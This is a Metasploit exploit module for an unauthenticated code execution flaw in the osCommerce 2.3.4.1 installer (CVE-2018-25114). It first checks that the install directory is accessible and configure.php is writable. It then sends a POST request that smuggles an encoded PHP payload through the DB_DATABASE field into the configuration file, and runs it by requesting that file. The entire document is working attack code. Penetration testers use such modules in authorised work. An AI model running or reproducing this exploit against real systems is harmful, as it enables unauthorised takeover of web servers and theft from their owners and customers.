osCommerce Installer Unauthenticated Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'osCommerce Installer Unauthenticated Code Execution',
        'Description' => %q{
          If the /install/ directory was not removed, it is possible for an unauthenticated
          attacker to run the "install_4.php" script, which will create the configuration
          file for the installation. This allows the attacker to inject PHP code into the
          configuration file and execute it.
        },
        'Author' => [
          'Simon Scannell',      # Original exploit author
          'Daniel Teixeira'      # MSF module author
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2018-25114'],
          ['EDB', '44374'],
        ],
        'Payload' => {
          'BadChars' => "\x00",
        },
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'osCommerce 2.3.4.1', {} ],
        ],
        'DisclosureDate' => '2018-04-30',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        OptString.new('URI', [true, 'The path to the install directory', '/catalog/install/'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI'], 'install.php'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Connection to target failed')
    end

    unless res.code == 200 && res.body.include?('osCommerce Website')
      return CheckCode::Safe('Target does not appear to be running osCommerce')
    end

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI'], 'index.php'),
      'method' => 'GET'
    })

    if res.body.include?('configure.php') && res.body.include?('The following files need to have their file permissions set to world-writeable (chmod 777):')
      vprint_error 'configure.php is not writable'
      return CheckCode::Safe('configure.php is not world-writable; exploitation is not possible')
    end

    CheckCode::Appears('osCommerce install directory is accessible and configure.php appears writable')
  end

  def trigger
    send_request_cgi({
      'uri' => normalize_uri(datastore['URI'], 'includes/configure.php'),
      'method' => 'GET'
    })
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    data = {
      'DIR_FS_DOCUMENT_ROOT' => './',
      'DB_DATABASE' => "');#{payload.encoded}/*"
    }

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI'], 'install.php'),
      'method' => 'POST',
      'vars_get' => {
        'step' => '4'
      },
      'vars_post' => data
    })
    trigger
  end
end